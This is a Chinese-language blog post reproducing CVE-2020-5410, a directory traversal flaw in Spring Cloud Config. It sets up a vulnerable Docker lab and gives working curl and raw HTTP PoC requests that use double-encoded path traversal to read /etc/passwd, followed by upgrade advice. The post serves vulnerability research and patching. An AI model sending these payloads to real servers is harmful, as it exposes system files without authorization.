freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring Cloud Config 目录穿越漏洞(CVE-2020-5410)复现
thelostworld 2021-02-20 16:50:43 330504

1613811043_6030cd634f382fcd7b81f.png!small

Spring Cloud Config 目录穿越漏洞

(CVE-2020-5410)

一、漏洞简介

Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求,这可能导致目录遍历攻击。

二、影响版本

Spring Cloud Config: 2.2.0 to 2.2.2

Spring Cloud Config: 2.1.0 to 2.1.8

三、漏洞环境&漏洞复现

PoC:

curl "vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

curl "127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

docker环境部署:

docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE

1613811043_6030cd63aec5a7e78c944.png!small

docker run -it --name=spring-cloud-config-server \

-p 8888:8888 \

hyness/spring-cloud-config-server:2.1.6.RELEASE \

--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo

1613811044_6030cd6421211a4b7604b.png!small

访问地址:http://192.168.0.110:8888/

1613811045_6030cd652e163728c2c93.png!small

执行POC:

curl "192.168.0.110:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

1613811046_6030cd66c8a217222fc59.png!small

Burp执行访问:

1613811050_6030cd6a7e69f1c02a02b.png!small

详细数据包:

GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1

Host: 192.168.0.110:8888

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

系统执行访问记录:

1613811053_6030cd6d4c9274b0e1962.png!small

四、修复建议:

升级到 Spring Cloud Config 至2.2.3版本或2.1.9版本,并且将Spring-Cloud-Config-Server服务放置在内网中,同时使用Spring Security进行身份验证。最新版本下载地址为:https://github.com/spring-cloud/spring-cloud-config/releases

参考:

https://github.com/osamahamad/CVE-2020-5410-POC

https://xz.aliyun.com/t/7877

https://blog.csdn.net/wanzt123/article/details/106765503

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

1613811055_6030cd6fca051f2af0c41.jpg!small

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

个人博客园:https://www.cnblogs.com/thelostworld/

FREEBUF主页:https://www.freebuf.com/author/thelostworld?type=article

雀语博客主页:https://www.yuque.com/thelostworld

1613811056_6030cd702e115955f00f3.png!small

欢迎添加本公众号作者微信交流,添加时备注一下“公众号”

1613811057_6030cd7143ba81dafe438.png!small

# web安全 # 数据安全 # 漏洞分析 # 企业安全 # 网络安全技术
本文为 thelostworld 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
thelostworld LV.4
欢迎关注 thelostworld 公众号,专注漏洞复现和java代码审计学习分享。
  • 36 文章数
  • 21 关注者
用友GRP-u8 注入-RCE漏洞复现
2021-06-09
X友 NC 远程命令执行
2021-06-09
XStream远程代码执行(CVE-2021-29505 )
2021-05-25
文章目录